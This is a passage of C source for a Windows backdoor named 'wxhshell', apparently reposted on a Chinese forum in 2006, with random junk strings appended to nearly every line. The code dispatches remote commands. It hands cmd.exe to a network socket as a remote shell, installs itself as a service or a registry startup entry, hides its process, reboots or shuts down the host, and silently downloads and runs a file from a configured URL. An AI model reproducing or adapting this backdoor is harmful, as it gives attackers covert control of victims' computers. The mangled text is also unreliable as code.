      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Pmx -8w  
    break; )2o?#8J  
  } h7oo7AP  
  // 安装 JPHL#sKyz  
  case 'i': { +3BN}  
    if(Install()) J*A,o~U|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); | YWD8 +  
    else C.-,^+t;g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [|$h*YK  
    break; {S)6;|ua'  
    } `$ 9x1dx  
  // 卸载 Ll't>)  
  case 'r': { qInR1r<  
    if(Uninstall()) 9W5lSX#^;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;H*T^0  
    else eo?bL$A[s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;igIZ$&  
    break; c)85=T6*aA  
    } ^{`exCwM x  
  // 显示 wxhshell 所在路径 q.bSIV|  
  case 'p': { 'H>^2C iM  
    char svExeFile[MAX_PATH]; 5C ]x!>kX  
    strcpy(svExeFile,"\n\r"); ,&.!?0+  
      strcat(svExeFile,ExeFile); !;A\.~-!G  
        send(wsh,svExeFile,strlen(svExeFile),0); %sP*=5?vA  
    break; 'IQ0{&EI  
    } ]%H`_8<gc  
  // 重启 q54]1TQ  
  case 'b': { tDcT%D {:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); q<|AZ2Ai  
    if(Boot(REBOOT)) tcI*a>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (?c"$|^J  
    else { FVKTbvYn  
    closesocket(wsh); dZ@63a>>@  
    ExitThread(0); {JT&w6Jz  
    } f8dB-FlMm  
    break; &p@O _0nF  
    } qEOhwrh  
  // 关机 Yj49t_$b  
  case 'd': { v\ )W?i*l  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); U8?mc  
    if(Boot(SHUTDOWN)) d7upz]K9g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U iW>J  
    else { g! |kp?  
    closesocket(wsh); ;6$jf:2m  
    ExitThread(0); KZE,bi: ~  
    } rb.N~  
    break; n_A3#d<9  
    } vk^xT  
  // 获取shell n7[V&`e_  
  case 's': { 1Pu~X \sO  
    CmdShell(wsh); lL3U8}vn  
    closesocket(wsh); *g2x%aZWbG  
    ExitThread(0); Jnov<+  
    break; d$!RZHo10V  
  } g) jYFfGfH  
  // 退出 U[MA)41  
  case 'x': { T0)@pt7>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); DTL.Bsc-.  
    CloseIt(wsh); ~f98#43  
    break; aW7^d'ZZ\  
    } 8l`*]1.W<  
  // 离开 f]CXu3w(J  
  case 'q': { h:|qC`}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wmLs/:~  
    closesocket(wsh); VI86KJu  
    WSACleanup(); ^ Ze=uP  
    exit(1); 4tBYR9|  
    break; H.MI5O(Q  
        } "chDg(jMZ  
  } Wne@<+mX  
  } ^1.By^ $  
S,he6zS  
  // 提示信息 {`@G+JV~Jw  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |CyE5i0  
} 5$k:t  
  } /\n- P'}  
j\M?~=*w  
  return; @o`AmC . 8  
} L!xi  
' `Hr}  
// shell模块句柄 i XjM.G  
int CmdShell(SOCKET sock) ?Ir:g=RP*  
{ #ABZ&Z  
STARTUPINFO si; tR$NRMZ.  
ZeroMemory(&si,sizeof(si)); i/Zd8+.n$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7%M_'P4 V  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3Y$GsN4ln  
PROCESS_INFORMATION ProcessInfo; Q$"D]!G  
char cmdline[]="cmd"; FYQS)s  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;2QP7PrSY  
  return 0; T>W,'H  
} ]Y&VT7+Z  
+ZP7{%  
// 自身启动模式 i83OOV$1J  
int StartFromService(void) f/?P514h  
{ ECmW`#Otb)  
typedef struct Z% UP6%  
{ $XH^~i;  
  DWORD ExitStatus; OjA,]Gv6  
  DWORD PebBaseAddress; Q~9^{sHZjP  
  DWORD AffinityMask; `R^gU]Z,  
  DWORD BasePriority; C3g_! dUs  
  ULONG UniqueProcessId; VIf.q)_k  
  ULONG InheritedFromUniqueProcessId; ;O,jUiQ  
}   PROCESS_BASIC_INFORMATION; hhvyf^o   
4*;MJ[|  
PROCNTQSIP NtQueryInformationProcess; %?/X=}sE  
dWBA1p  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W(p_.p"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ow,b^|  
8z\xrY  
  HANDLE             hProcess; ]Hv[IodJ  
  PROCESS_BASIC_INFORMATION pbi; #/37V2E  
B9S@(/"7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); lyhiFkO iH  
  if(NULL == hInst ) return 0; A=0'Ks  
 Vxt+]5X  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (QB2T2x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); oXgcc*j  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )+Pus~w  
BMf@M  
  if (!NtQueryInformationProcess) return 0; \|[;Z"4l  
A3*!"3nU  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  %;!.n{X  
  if(!hProcess) return 0; qqU 64E  
hi[pVk~B)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5!9zI+S|=`  
Flb&B1  
  CloseHandle(hProcess); xgtR6E^k  
}Y4qS  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8q7b_Pq1U  
if(hProcess==NULL) return 0; 3G4-^hY<  
c:.eGH_f  
HMODULE hMod; ?Mfw]z"\C)  
char procName[255]; |4`{]2C  
unsigned long cbNeeded; 93hxSRw  
,2ar7 5Va  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1h5 Akq  
C7AUsYM  
  CloseHandle(hProcess);  9gZ$   
`r_/Wt{g  
if(strstr(procName,"services")) return 1; // 以服务启动 Oow2>F%_#  
|wj?ed$ f  
  return 0; // 注册表启动 +ck}l2&#  
} FN73+-:n:j  
i}?>g-(  
// 主模块 Y<8vw d  
int StartWxhshell(LPSTR lpCmdLine) /a o5FL  
{ U/BR*Zn]*  
  SOCKET wsl; :M5l*sIO2  
BOOL val=TRUE; zx7{U8*`<  
  int port=0; zdH kG_PT  
  struct sockaddr_in door; 5kXYeP3:  
ehY5!D1Q  
  if(wscfg.ws_autoins) Install(); Rlirs-WQ  
:U x_qB  
port=atoi(lpCmdLine); <of^AKbt  
Xha..r  
if(port<=0) port=wscfg.ws_port; A5w6]:f2  
gZ1?G-Q  
  WSADATA data; bN@ l?w  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; NaCy@  
`9.r`&T6K  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   H>@+om  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nFs(?Rv*  
  door.sin_family = AF_INET; _J[P[(ab  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;A!BVq  
  door.sin_port = htons(port); hR|MEn6KC  
>F&47Yn  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1aABzB ^  
closesocket(wsl); )\^-2[;  
return 1; pD]OT-8  
} ~u+9J}  
5/z/>D;  
  if(listen(wsl,2) == INVALID_SOCKET) { =nHgDrA_  
closesocket(wsl); gPc=2  
return 1; t&DEb_"De  
} 7t_^8I%[  
  Wxhshell(wsl); 8HdAFRw  
  WSACleanup(); { [>Kob1  
s"?3]P  
return 0; ~y[7K{{ ;T  
Mb7I[5v  
} >-{Hyx  
!0E&@X:-  
// 以NT服务方式启动 WOf 4o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7J&4akT{9  
{ L&OwPd  
DWORD   status = 0; 61 ~upQaR  
  DWORD   specificError = 0xfffffff; t&Og$@  
BL58] P84  
  serviceStatus.dwServiceType     = SERVICE_WIN32; xAP+FWyV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (_{y B[z>`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; '[O;zJN;  
  serviceStatus.dwWin32ExitCode     = 0; uRe'%?W  
  serviceStatus.dwServiceSpecificExitCode = 0; da~],MN  
  serviceStatus.dwCheckPoint       = 0; tFl"n;~T  
  serviceStatus.dwWaitHint       = 0; &YeA:i?  
NW)1#]gg%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gv{ >`AN  
  if (hServiceStatusHandle==0) return; j 1HW._G  
^y4Z+Gu[  
status = GetLastError(); /|&*QLy  
  if (status!=NO_ERROR) kz7(Z'pw  
{ 4I5Y,g{6+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ld-_,-n  
    serviceStatus.dwCheckPoint       = 0; r/*D:x|yN  
    serviceStatus.dwWaitHint       = 0; wn)W ?P;k  
    serviceStatus.dwWin32ExitCode     = status; pcI uN  
    serviceStatus.dwServiceSpecificExitCode = specificError; PE5G  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {cw /!B  
    return; k.15CA`  
  } #yvGK:F  
eQvg7aO;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; w:l V"]1  
  serviceStatus.dwCheckPoint       = 0; ?@ $r  
  serviceStatus.dwWaitHint       = 0; e64^ChCoV  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Lq!>kT<]!  
} ;P&OX5~V  
N$:8 ,9.z  
// 处理NT服务事件,比如:启动、停止 w"&n?L  
VOID WINAPI NTServiceHandler(DWORD fdwControl) eGbG w  
{ @gXx1hEg  
switch(fdwControl) b*Q&CL  
{ r-/`"j{O!  
case SERVICE_CONTROL_STOP: 5.J.RE"M  
  serviceStatus.dwWin32ExitCode = 0; w^0nqh  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "Os_vlapHo  
  serviceStatus.dwCheckPoint   = 0; ps DetP  
  serviceStatus.dwWaitHint     = 0; Xm2z}X(%  
  { S?BG_J6A7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4|#WFLo@  
  } >~+ELVB&  
  return; {P#|zp4C{  
case SERVICE_CONTROL_PAUSE: &Z|P2dI  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; VTHH&$ZNq  
  break; wJY'  
case SERVICE_CONTROL_CONTINUE: n>U5R_T  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2jCfT>`3  
  break; KdbHyg<4  
case SERVICE_CONTROL_INTERROGATE: yyy|Pw4:Z  
  break; ,izO{@We2{  
}; 6Sn.I1Wy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r0 uwPf  
} NSA-}2$  
Tc3yS(aq  
// 标准应用程序主函数 ^\,E&=/}M  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) K@w{"7}  
{ 0NX,QD  
b9dLt6d  
// 获取操作系统版本 0%I=d  
OsIsNt=GetOsVer(); I4?5K@a  
GetModuleFileName(NULL,ExeFile,MAX_PATH); D*|Bb?  
4x[S\,20  
  // 从命令行安装 07=mj%yV  
  if(strpbrk(lpCmdLine,"iI")) Install(); t}/( b/VD  
jdJ>9O0A,  
  // 下载执行文件 R]*K:~DM  
if(wscfg.ws_downexe) { OJy#w{4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) W-lN>]5}m  
  WinExec(wscfg.ws_filenam,SW_HIDE); ls)%c  
} =+d?x 56  
&W6^sj*k5U  
if(!OsIsNt) { wZZt  
// 如果时win9x,隐藏进程并且设置为注册表启动 *<ewS8f*6  
HideProc(); 0'?L#K  
StartWxhshell(lpCmdLine); UN<]N76!  
} Gjo`&#  
else u!qP  
  if(StartFromService()) h>OfOx/{q9  
  // 以服务方式启动 85xR2<:  
  StartServiceCtrlDispatcher(DispatchTable); f^XOUh  
else {%6`!WW[  
  // 普通方式启动 Ck7uJI<x  
  StartWxhshell(lpCmdLine); Z!X0U7& U  
KRDmY+  
return 0; m$T-s|SY  
}
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只看该作者 1 发表于: 2006-10-10
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